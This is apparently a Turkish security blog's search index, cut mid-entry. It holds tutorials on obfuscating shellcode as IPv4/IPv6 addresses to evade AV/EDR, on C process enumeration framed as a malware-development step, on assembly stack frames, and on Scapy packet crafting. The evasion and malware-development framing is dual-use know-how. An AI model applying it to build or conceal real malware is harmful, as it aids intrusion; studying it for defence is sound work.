fonksiyona bellekteki 0. byte\u0026rsquo;ın adresi gönderilir. İkinci adımda (i = 1): 1 * 4 = 4 olur ve fonksiyon doğrudan bellekteki 4. byte\u0026rsquo;a sıçrar. Üçüncü adımda (i = 2): Doğrudan 8. byte\u0026rsquo;ın adresi okunur. Bu sayede performanstan zerre ödün vermeden, bellekte tam olarak 4\u0026rsquo;er byte\u0026rsquo;lık adımlarla zıplayarak tüm shellcode\u0026rsquo;umuzu taramış oluyoruz.\nIPv6 IPv6 da karmaşıklaştırma yapmak istiyorsak yukarıda IPv4 için yapacağımız mantığın aynısını kullanmamız gerekiyor değişen neredeyse hiçbir şey yok. Kodun mantığı veya kullanılan fonksiyonlar tamamen aynı. Tek fark bu sefer 16 ın katı olması gerektiğini ve birleştirirken 2001:0db8:85a3:0000:0000:8a2e:0370:7334 ya uyarlamanız gerektiğini unutmayın Olayın Deobfuscation kısmını ise başka bir metinde anlatacağım.\n","permalink":"https://0xgently.github.io/posts/%C4%B1pv4_obf/","summary":"\u003ch2 id=\"ipv4ipv6-obfuscation\"\u003eIPv4/IPv6 Obfuscation\u003c/h2\u003e\n\u003cp\u003eSiber güvenlik dünyasında bir veriyi saklamak istediğimizde önümüzde genellikle iki temel yol olur: Ya veriyi doğrudan şifreleriz (AES, RC4 veya XOR gibi) ya da onu karmaşıklaştırırız (obfuscation).\u003c/p\u003e\n\u003cp\u003eYazılım geliştirirken kodu zorlaştırmak bazen sadece fikri mülkiyeti korumak için değil, güvenlik mekanizmalarını aşmak için de kritik bir rol oynar. Örneğin elimizde bir shellcode var ve bunu gizlemek istiyoruz. İlk akla gelen çözüm şifreleme olsa da bu her zaman en akıllıca yol olmayabilir. Çünkü şifrelenmiş veriler, dosyanın o bölümündeki \u003cstrong\u003eentropiyi (rastgelelik oranını)\u003c/strong\u003e tavan yaptırır ve bu durum güvenlik analizcilerinin ya da AV/EDR çözümlerinin hemen radarına takılır. İşte bu noktada, dikkat çekmeden karmaşıklaştırmak çok daha mantıklı bir seçeneğe dönüşüyor.\u003c/p\u003e","title":"IPv4/IPv6 Obfuscation"},{"content":"Process Enumeration Hedefin PID Değerini Bulmak (EnumProcesses) Zararlı yazılım geliştirirken payload\u0026rsquo;umuzu saklamak veya çalıştırmak gibi teknikleri uygulayabilmek için genellikle sistemde çalışan meşru bir process\u0026rsquo;e (örneğin notepad.exe veya explorer.exe) ihtiyaç duyarız. Windows\u0026rsquo;un dilinden konuşup o process\u0026rsquo;in PID (Process ID) değerini bulmamız gerekir.\nİşte sistemdeki süreçleri listeleyip hedefimizin PID değerini bulma veya buna benzer processler ile ilgili bilgi toplama işlemlerine genel olarak Process Enumeration diyoruz. Bu yazıda, Windows\u0026rsquo;un standart EnumProcesses API\u0026rsquo;sini kullanarak bunu sıfırdan nasıl yapacağımıza adım adım bakacağız.\nÖncelikle tüm olayı tek bir çatı altında toplayan fonksiyonumuza bakalım:\nBOOL FindSystem32Process(const wchar_t* target_name, DWORD* out_pid) Gördüğünüz gibi Bool türünde bir fonksiyon. Kendisi içerisinde 2 adet parametre bulunduruyor. 1.si Hedeflediğimiz processin ismini istiyor( örn: svchost.exe). 2.si Hedef olarak belirlediğimiz processin Pid sini dışarı atıyor.\nFonksiyonun devamında ise böyle bir kısım var:\nDWORD pids[2048], bytes; if (!EnumProcesses(pids, sizeof(pids), \u0026amp;bytes)) return FALSE; Burada pids adında bir array (dizi) oluşturuyoruz. EnumProcesses API\u0026rsquo;si, sistemdeki tüm aktif PID\u0026rsquo;leri çekip bu array\u0026rsquo;in içine dolduruyor. bytes değişkeni ise bu array\u0026rsquo;in içine ne kadar veri yazıldığını tutuyor. Artık elimizde sistemdeki tüm süreçlerin PID\u0026rsquo;lerini içeren devasa bir havuz var.\nŞimdi bu havuzun içindeki PID\u0026rsquo;leri tek tek dolaşıp hedeflediğimiz gerçek processi bulmamız lazım. Bunun için bir döngü başlatıyoruz:\nfor (DWORD i = 0; i \u0026lt; bytes / sizeof(DWORD); i++) { if (!pids[i]) continue; HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pids[i]); if (!h) continue; Döngü her döndüğünde sıradaki PID\u0026rsquo;yi alıp OpenProcess API\u0026rsquo;si ile açmaya çalışıyoruz. Burada dikkat etmeniz gereken çok önemli bir nokta var: Hedef process\u0026rsquo;i açarken talep ettiğimiz yetki. Bizim sadece process\u0026rsquo;in ismini okumaya ihtiyacımız olduğu için PROCESS_QUERY_LIMITED_INFORMATION yetkisi istiyoruz. Eğer gereksiz yere PROCESS_ALL_ACCESS (tam erişim) isteseydik, bu güvenlik çözümleri (EDR/AV) için oldukça şüpheli bir hareket olurdu. Handle (h) başarıyla alınırsa, artık o sürecin içine bakabiliriz.\nHandle elimizde, şimdi bu PID\u0026rsquo;nin arkasında hangi uygulamanın çalıştığını öğrenme vakti.\nwchar_t path[MAX_PATH]; DWORD size = MAX_PATH; wchar_t: Windows API\u0026rsquo;lerinin sonunda W (Wide) olan fonksiyonlarını kullandığımız için, normal char (1 byte) yerine Unicode destekleyen wchar_t (2 byte geniş karakter) kullanmak zorundayız.\nMAX_PATH: Bu, Windows işletim sisteminin başlık dosyalarında (header) tanımlanmış standart bir makrodur ve değeri 260\u0026rsquo;tır. Windows\u0026rsquo;ta klasik bir dosya yolunun alabileceği maksimum karakter sınırını belirtir. Yani path adında, içine en fazla 260 karakter sığabilecek boş bir dizi (kutu) oluşturuyoruz.\nsize: API\u0026rsquo;ye \u0026ldquo;Benim elimde 260 karakterlik yer var\u0026rdquo; diyebilmek için bu değeri DWORD (32-bit işaretsiz tam sayı) tipinde bir değişkene atıyoruz.\nif (QueryFullProcessImageNameW(h, 0, path, \u0026amp;size)) { Bu fonksiyon, process handle\u0026rsquo;ını (h) alıp, tam dosya yolunu az önce oluşturduğumuz path dizisinin içine yazar.\nBuradaki mucizevi olay \u0026amp;size kısmıdır. size değişkenini doğrudan değil, başına \u0026amp; koyarak bellek adresiyle (referans olarak) gönderiyoruz. Neden? Çünkü API işini bitirdiğinde, \u0026ldquo;Sen bana 260 karakterlik yer verdin ama ben bunun sadece 35 karakterini kullandım\u0026rdquo; diyerek, o process yolunun gerçek uzunluğunu doğrudan bu değişkenin içine geri yazar (In/Out parameter mantığı).\nEğer bu işlem hatasız gerçekleşirse fonksiyon TRUE (1) döndürür ve if bloğunun içine gireriz.\nwchar_t* name = wcsrchr(path, L\u0026#39;\\\\\u0026#39;); wcsrchr (Wide Character String Reverse Character): C standart kütüphanesindeki string arama fonksiyonudur. Amacı bir string\u0026rsquo;i soldan sağa değil, sağdan sola (sondan başa) doğru taramaktır.\nL'\\\\': Aradığımız karakter ters slash. C dilinde \\ bir kaçış (escape) karakteri olduğu için, kendisini ifade etmek için iki tane yazılır \\\\. Başındaki L ise bunun bir geniş karakter (Unicode) olduğunu belirtir.\nDiyelim ki path içindeki veri şu: C:\\Windows\\System32\\notepad.exe. wcsrchr en sağdan başlar, e, x, e, ., d\u0026hellip; diye gider ve ilk gördüğü \\ işaretinde durur.\nGeriye bir string değil, o ters slash\u0026rsquo;ın bulunduğu noktanın bellek adresini (pointer) döndürür. Yani name pointer\u0026rsquo;ı artık tam olarak \\notepad.exe kısmını işaret etmektedir.\nname = name ? name + 1 : path; Bu satır C dilinin meşhur üçlü operatörünü (koşul ? doğruysa_bu : yanlışsa_bu) ve pointer aritmetiğini barındırır.\nname ?: \u0026ldquo;Eğer name boş değilse (yani bir ters slash bulabildiysek)\u0026rdquo; anlamına gelir.\nname + 1: İşte işin koptuğu yer burası. name pointer\u0026rsquo;ı \\notepad.exe string\u0026rsquo;inin başındaki \\ işaretini gösteriyordu. Biz bellek adresini + 1 diyerek bir karakter sağa kaydırıyoruz. Böylece o baştaki slash\u0026rsquo;ı atlamış oluyoruz ve pointer sadece notepad.exe kısmını göstermeye başlıyor. Saf dosya adını böyle izole ediyoruz.\n: path: Eğer wcsrchr hiçbir ters slash bulamazsa (bu teknik olarak pek mümkün değil ama güvenli kod yazma kuralıdır), name pointer\u0026rsquo;ı NULL döner. Bu durumda koşul yanlış (false) sayılır ve iki nokta üst üste (:) sonrasındaki işlem yapılır: Elimizde ne varsa (orijinal path) onu saf isim olarak kabul et.\nSon aşamada, bulduğumuz ismin bizim aradığımız hedefle eşleşip eşleşmediğine bakıyoruz.\nif (_wcsicmp(name, target_name) == 0) { *out_pid = pids[i]; CloseHandle(h); return TRUE; } } CloseHandle(h); } _wcsicmp ile büyük/küçük harf duyarlılığına takılmadan elimizdeki ismi aradığımız target_name ile karşılaştırıyoruz. Eğer eşleşiyorsa hedefi bulduk demektir! PID değerini dışarı aktarıyor (*out_pid = pids[i]), açık olan handle\u0026rsquo;ı temizliyor (CloseHandle) ve aramamızı başarıyla bitiriyoruz. Eğer eşleşmezse, döngü bir sonraki PID\u0026rsquo;yi incelemek üzere devam ediyor.\nNot: Bu metinde anlattığım kodun tamamını malware-development-library adresinde bulabilirsiniz\n","permalink":"https://0xgently.github.io/posts/enum_process/","summary":"\u003ch2 id=\"process-enumeration\"\u003eProcess Enumeration\u003c/h2\u003e\n\u003ch3 id=\"hedefin-pid-değerini-bulmak-enumprocesses\"\u003eHedefin PID Değerini Bulmak (EnumProcesses)\u003c/h3\u003e\n\u003cp\u003eZararlı yazılım geliştirirken payload\u0026rsquo;umuzu saklamak veya çalıştırmak gibi teknikleri uygulayabilmek için genellikle sistemde çalışan meşru bir process\u0026rsquo;e (örneğin \u003ccode\u003enotepad.exe\u003c/code\u003e veya \u003ccode\u003eexplorer.exe\u003c/code\u003e) ihtiyaç duyarız. Windows\u0026rsquo;un dilinden konuşup o process\u0026rsquo;in PID (Process ID) değerini bulmamız gerekir.\u003c/p\u003e\n\u003cp\u003eİşte sistemdeki süreçleri listeleyip hedefimizin PID değerini bulma veya buna benzer processler ile ilgili bilgi toplama işlemlerine genel olarak \u003cstrong\u003eProcess Enumeration\u003c/strong\u003e diyoruz. Bu yazıda, Windows\u0026rsquo;un standart \u003ccode\u003eEnumProcesses\u003c/code\u003e API\u0026rsquo;sini kullanarak bunu sıfırdan nasıl yapacağımıza adım adım bakacağız.\u003c/p\u003e","title":"Process Enumeration-2"},{"content":"High-level dillerde program yazarken, arka planda otomatik yapılan ama low-level dillerde (özellikle Assembly) manuel olarak yönetmemiz gereken pek çok işlem vardır. Bunların en önemlilerinden birisi de prologue ve epilogue işlemleridir.\nİşlemin Assembly dilindeki görüntüsü\nBu konuya başlamadan önce birkaç temel kavrama değineceğim:\nRegister: CPU’nun en hızlı veri depolama alanıdır; işlem yapılacak veriler burada tutulur. Stack: LIFO (Last In, First Out) mantığıyla çalışan, fonksiyon çağrılarında geçici veri tutan bellek alanıdır. Stack Frame: Her fonksiyon çağrıldığında stack üzerinde ayrılan, argümanlar ve yerel değişkenleri barındıran bellek bloğudur. ESP/RSP: Stack pointer; stack’in en üstünü gösterir. x86’da ESP, x64’te RSP olarak adlandırılır. EBP/RBP: Base pointer; stack frame’in taban adresini tutar, değişkenlere erişimde referans noktasıdır. Calling Convention: Fonksiyonlara argümanların nasıl aktarıldığını ve dönüş değerlerinin nasıl alındığını belirleyen kurallar bütünüdür. Push: Bir değeri stack’e ekler, stack pointer’ı aşağı kaydırır. Pop: Stack’in en üstündeki değeri alır, stack pointer’ı yukarı kaydırır. Bu kavramların hepsi prologue ve epilogue işlemlerini anlamanın temelini oluşturur. Zira bu iki işlem, stack frame’i oluşturup kaldırmaktan ibarettir.\nPrologue Nedir ? Prologue, fonksiyonun başında çalışır ve stack üzerinde bir “frame” oluşturur. Bu frame, fonksiyonun yerel değişkenlerini ve kaydedilmesi gereken registerları saklamak için kullanılır. Bu işlem aşağıdaki resimde göreceğiniz gibi 3 aşamadan oluşur.\nŞimdi ise bu 3 adımı teker teker inceleyim.\n1. push ebp Önce elimizdeki eski referans noktasını kaydediyoruz. Bulunduğumuz fonksiyon bittiği zaman artık fonksiyon içerisinde kullandığımız değerlerin stackte durması gereksiz olacağından dolayı daha frame açılmadan fonksiyon bitiminde geriye dönmesi gereken kısmı not ediyoruz.\n2. mov ebp,esp Burada ise aslında kuracağımız framein üst çerçevesini hazırlıyoruz. EBP’yi ESP’nin olduğu yere taşıyoruz. Yani diyoruz ki; ‘buradan itibaren bu fonksiyonun alanı başlıyor.’ Böylece bu fonksiyonun stack içerisindeki kendi çalışma alanı net bir şekilde belirlenmiş oluyor.\n3. sub esp,0x10 Son olarak, bu fonksiyon ne kadar stackte depolama kullanmak isterse o kadar yer açıyoruz ve bu şekilde de frame alanının geri kalanı tamamlanmış oluyor. ESP’yi biraz aşağı indiriyoruz; yani stack’te biraz yer açıyoruz. Bu yer, fonksiyonun yerel değişkenleri için ayrılmış özel alan oluyor.\nÖzetle Bu üç adım aslında stack frame oluşturma sürecidir. İlk komut eski EBP değerini saklayarak geri dönüş yolunu güvence altına alır. İkinci komut, yeni stack frame’in tabanını belirler ve erişimleri kolaylaştırır. Son adım ise yerel değişkenlerin saklanacağı kadar alan açar. Böylece fonksiyon kendi izole çalışma ortamına sahip olur ve başka fonksiyonların verilerini bozmaz.\nEpilogue Nedir? Epilogue, bir fonksiyonun sonunda çalışan ve prologue’un yaptığı işleri tersine çeviren koddur. Temel amacı, fonksiyonun stack üzerinde açtığı alanı temizlemek, eski düzeni geri getirmek ve çağıran koda güvenli bir şekilde dönmektir. Prologue, stack frame’i kurarken; epilogue stack frame’i kaldırır. Bu ikisi birlikte fonksiyonların güvenli ve düzenli çalışmasını sağlar.\nEpilogue genellikle üç temel adımda gerçekleşir:\n1. mov esp, ebp Bu adım, fonksiyonun kullandığı stack alanını serbest bırakır. Stack pointer (ESP), fonksiyonun başında işaretlediği base pointer’a (EBP) geri getirilir. Böylece fonksiyonun geçici olarak kullandığı alan stack’e geri kazandırılmış olur.\n2. pop ebp Prologue sırasında stack’in en üstüne koyulan eski base pointer (EBP) şimdi geri yüklenir. Yani fonksiyon öncesi ortam, stack ve base pointer tam olarak eski haline gelir. Bu sayede fonksiyon sanki hiç çağrılmamış gibi bir izlenim bırakır.\n3. ret Son adımda CPU, instruction pointer’ı (EIP) stack’ten alır ve çağıran koda geri döner. Artık fonksiyonun işi tamamen bitmiştir ve program akışı kaldığı yerden devam eder.\nEpilogue olmadan stack bozulur ve programın akışı karışır. Stack frame kaldırılmazsa ESP yanlış yerde kalır ve fonksiyonlar doğru şekilde geri dönemez.\nFonksiyonlar programların temel yapı taşlarıdır ve doğru çalışmaları için hem prologue hem de epilogue adımlarına ihtiyaç duyarlar. Prologue fonksiyonun ihtiyacı olan ortamı hazırlar, epilogue ise işi bitirip ortamı temizler ve eski düzene geri döner.\nEpilogue’u anlamak, özellikle düşük seviyeli programlama ve Assembly ile çalışırken kritik bir noktadır. Çünkü stack’in doğru yönetilmesi, programın stabilitesi ve güvenliği için şarttır. Bu nedenle, bir fonksiyonun nasıl başladığını ve nasıl sonlandığını görmek, kodun iç işleyişini anlamak için büyük bir adımdır.\nBu metinde Tersine Mühendislik’te veya Assembly okurken kişilerin sıklıkla karşılaşacağı temel iki işlemden bahsettik. Konumuz buraya kadar. Bir sonraki metinde görüşmek üzere\n","permalink":"https://0xgently.github.io/posts/assembly/","summary":"\u003cp\u003eHigh-level dillerde program yazarken, arka planda otomatik yapılan ama low-level dillerde (özellikle Assembly) manuel olarak yönetmemiz gereken pek çok işlem vardır. Bunların en önemlilerinden birisi de \u003cstrong\u003eprologue\u003c/strong\u003e ve \u003cstrong\u003eepilogue\u003c/strong\u003e işlemleridir.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Prologue İşleminin Stack Üzerindeki Şeması\" loading=\"lazy\" src=\"/assets/img/assembly-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003eİşlemin Assembly dilindeki görüntüsü\u003c/p\u003e\n\u003cp\u003eBu konuya başlamadan önce birkaç temel kavrama değineceğim:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eRegister:\u003c/strong\u003e CPU’nun en hızlı veri depolama alanıdır; işlem yapılacak veriler burada tutulur.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStack:\u003c/strong\u003e LIFO (Last In, First Out) mantığıyla çalışan, fonksiyon çağrılarında geçici veri tutan bellek alanıdır.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStack Frame:\u003c/strong\u003e Her fonksiyon çağrıldığında stack üzerinde ayrılan, argümanlar ve yerel değişkenleri barındıran bellek bloğudur.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eESP/RSP:\u003c/strong\u003e Stack pointer; stack’in en üstünü gösterir. x86’da ESP, x64’te RSP olarak adlandırılır.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eEBP/RBP:\u003c/strong\u003e Base pointer; stack frame’in taban adresini tutar, değişkenlere erişimde referans noktasıdır.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCalling Convention:\u003c/strong\u003e Fonksiyonlara argümanların nasıl aktarıldığını ve dönüş değerlerinin nasıl alındığını belirleyen kurallar bütünüdür.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePush:\u003c/strong\u003e Bir değeri stack’e ekler, stack pointer’ı aşağı kaydırır.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePop:\u003c/strong\u003e Stack’in en üstündeki değeri alır, stack pointer’ı yukarı kaydırır.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eBu kavramların hepsi prologue ve epilogue işlemlerini anlamanın temelini oluşturur. Zira bu iki işlem, stack frame’i oluşturup kaldırmaktan ibarettir.\u003c/p\u003e","title":"Assembly’de Prologue ve Epilogue Nedir?"},{"content":"\nAğ güvenliği ve siber güvenlik dünyasında, bir paketin nasıl oluştuğunu, nasıl manipüle edilebileceğini ve özel paketler oluşturmayı bilmek çok kritik bir beceridir. Python programlama dili ve Scapy kütüphanesi, bu becerileri öğrenmek için mükemmel bir platform sunar. Bu yazıda, Scapy kullanarak ağ paketlerini oluşturmanın ve analiz etmenin temellerini aşama aşama detaylandıracağım.\n1. Scapy Nedir ve Neden Önemlidir? Scapy, Python ile yazılmış güçlü bir ağ paket manipülasyon kütüphanesidir. Temel olarak şunları yapmamıza olanak sağlar:\nAğ trafiğini yakalamak (sniffing) Paketleri incelemek ve analiz etmek Özel paketler oluşturmak (crafting) Paketleri değiştirmek (manipulation) Ağda testler ve güvenlik senaryoları simüle etmek Scapy’nin gücü, onu hem pasif hem aktif ağ çalışmalarında kullanabilmekten gelir. Pasif olarak, ağdaki mevcut trafiği analiz edebiliriz; aktif olarak ise hedef sistemlere özel paketler gönderip tepki analizleri yapabiliriz.\n2. Temel Kavramlar Paket manipülasyonu ve crafting yapmadan önce, ağ paketlerinin yapılarını anlamak çok önemlidir. Ağ paketleri, OSI modelinin katmanları ile doğrudan ilişkilidir:\nEthernet (Data Link Layer): Paketlerin fiziksel ağda taşınmasını sağlar. Kaynak ve hedef MAC adreslerini içerir. IP (Network Layer): Paketlerin ağlar arasında yönlendirilmesini sağlar. IP adresleri buradadır. TCP/UDP (Transport Layer): Veri iletim protokolleridir. TCP bağlantı odaklıdır, UDP ise bağlantısızdır. Application Layer: HTTP, DNS, FTP gibi üst seviye protokoller buradadır. Scapy ile her katmanda paket manipülasyonu yapabiliriz. Örneğin, bir TCP paketinin port numarasını değiştirebilir, bir ICMP paketini spoof edebilir veya DNS sorgularını taklit edebiliriz.\n3. Scapy ile Çalışmanın Temel Mantığı Scapy ile çalışırken üç temel kavramı bilmek gerekiyor:\nPaket Oluşturma (Packet Crafting) Scapy ile bir paket oluştururken, her katmanı bağımsız bir obje olarak düşünebiliriz. Örneğin, IP katmanı, TCP katmanı ve bir payload (veri) katmanı oluşturursun ve bunları üst üste bind (/) ile birleştirirsin. Paket Gönderme (Sending Packets) Craft ettiğin paketi göndermek için Scapy’nin send() veya sr() gibi fonksiyonlarını kullanırız. send() genellikle TCP/IP katmanı için, sendp() ise Ethernet katmanı için kullanılır. Paket Yakalama (Sniffing) Ağdaki paketleri yakalamak için sniff() fonksiyonunu kullanırız. Bu, gerçek zamanlı analiz ve saldırı simülasyonları için önemlidir. Filtreleme yapabilir, sadece belirli protokolleri veya portları yakalayabiliriz. Şimdi ise bu kısımlar detaylı olarak anlatılacaktır.\n4. Paket Oluşturma (Packet Crafting) Scapy’de paket oluşturmak, temel olarak ağdaki veri birimini (paketi) kendi istediğin şekilde tasarlamak demektir. Buradaki mantık OSI katmanları üzerinden çalışır:\nKatman Mantığı Her katman, OSI modelindeki bir katmanı temsil eder: Ethernet (Layer 2), IP (Layer 3), TCP/UDP (Layer 4), Payload (Layer 7). Her katman bağımsız bir obje olarak oluşturulur. Örneğin, IP() bir IP katmanı objesidir, TCP() bir TCP katmanı objesidir. Katmanlar / operatörü ile üst üste bindirilir. Yani: Ethernet / IP / TCP / Payload\nBu yapıyı oluşturmak, paketin ağda nasıl taşınacağını ve hedefin nasıl yorumlayacağını belirler.\nBind Mantığı Alt katman üst katmanın taşıyıcı katmanı gibidir. Yani TCP, IP üzerinden taşınır; IP, Ethernet üzerinden. Bind mantığı, Scapy’de / operatörü ile yapılır. Örnek: ip_layer / tcp_layer / Raw(\u0026quot;data\u0026quot;). Bu, OSI modeline göre doğal bir paket hiyerarşisi oluşturur. Crafting Mantığı Önce hangi protokolü kullanacağımızı seçeriz (IP, TCP, UDP, ICMP). Katmanın alanlarını özelleştirirsin: IP: src, dst TCP: sport, dport, flags Payload: Raw(load=\u0026quot;veri\u0026quot;) Katmanları / ile birleştirirsin. Artık paketin craft edilmiş ve gönderilmeye hazırdır. Örnek Mantık Akışı:\nHedef IP’ye TCP SYN paketi göndermek istiyorsun. IP katmanı oluştur → TCP katmanı oluştur → Payload ekle (opsiyonel) → / ile birleştir → paket hazır. packet = IP(dst=\u0026#34;192.168.1.30\u0026#34;) / TCP(dport=80) / Raw(load=\u0026#34;Merhaba Dünya!\u0026#34;) 5. Paket Gönderme (Sending Packets) Craft edilmiş paketi göndermek, paket oluşturma kadar önemli bir adımdır. Scapy bunu iki ana seviyede yapmamıza izin verir:\n5.1 Network Layer (IP Katmanı) Gönderimi TCP/IP katmanındaki paketler için send() veya sr() kullanılır. send(): Paketi gönderir, cevap beklemez. sr(): Paketi gönderir ve cevabı bekler, genellikle request-response senaryolarında kullanılır. Mantık: IP katmanını hedefe gönderiyoruz. TCP veya UDP bu katmanın üstünde, payload üstünde taşınıyor. Burada “2. katmandan gönderme” değil, IP katmanından gönderim söz konusu. OSI’ye göre Layer 3 seviyesinde işlem yapıyoruz.\n5.2 Data Link Layer (Ethernet Katmanı) Gönderimi Ethernet seviyesinde paketler için sendp() veya srp() kullanılır. Bu seviyede, MAC adresleri doğrudan önemlidir. OSI modeline göre Layer 2’de işlem yapıyoruz. Mantık: IP katmanı olmadan Ethernet çerçevesi üzerinden veri gönderiyoruz. Bu genellikle düşük seviye testlerde veya LAN içi senaryolarda kullanılır.\n6. Paket Yakalama (Sniffing) Sniffing, ağdaki paketleri gerçek zamanlı yakalamak ve analiz etmektir. Scapy bunu sniff() fonksiyonu ile sağlar.\nSniffing Mantığı Filtreleme:\nTüm trafiği yakalamak yerine, belirli protokolleri (TCP, ICMP, UDP) veya portları filtreleyebiliriz. Örnek: filter=\u0026quot;tcp and port 80\u0026quot; Katman Katman Analiz:\nYakalanan paketler packet.show() ile detaylı olarak analiz edebiliriz. Katmanlar ayrı ayrı görülebilir: IP, TCP, payload. Gerçek Zamanlı veya Belgeye Kaydetme:\nsniff(count=10) ile 10 paket yakalanır. Yakalanan paketleri bir pcap dosyasına kaydedip sonra analiz etmek mümkündür. Bu üç adımı — paket oluşturma, gönderme ve sniffing — doğru kavradığında, OSI katmanları arasındaki veri akışını hem analiz edebilir hem de kontrollü bir şekilde manipüle ederek güvenlik testlerinde kullanabiliriz.\n","permalink":"https://0xgently.github.io/posts/packet-crafting/","summary":"\u003cp\u003e\u003cimg alt=\"Scapy Logo\" loading=\"lazy\" src=\"/assets/img/scapy-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003eAğ güvenliği ve siber güvenlik dünyasında, bir paketin nasıl oluştuğunu, nasıl manipüle edilebileceğini ve özel paketler oluşturmayı bilmek çok kritik bir beceridir. Python programlama dili ve Scapy kütüphanesi, bu becerileri öğrenmek için mükemmel bir platform sunar. Bu yazıda, Scapy kullanarak ağ paketlerini oluşturmanın ve analiz etmenin temellerini aşama aşama detaylandıracağım.\u003c/p\u003e\n\u003ch2 id=\"1-scapy-nedir-ve-neden-önemlidir\"\u003e1. Scapy Nedir ve Neden Önemlidir?\u003c/h2\u003e\n\u003cp\u003eScapy, Python ile yazılmış güçlü bir ağ paket manipülasyon kütüphanesidir. Temel olarak şunları yapmamıza olanak sağlar:\u003c/p\u003e","title":"Packet Crafting with Scapy"}]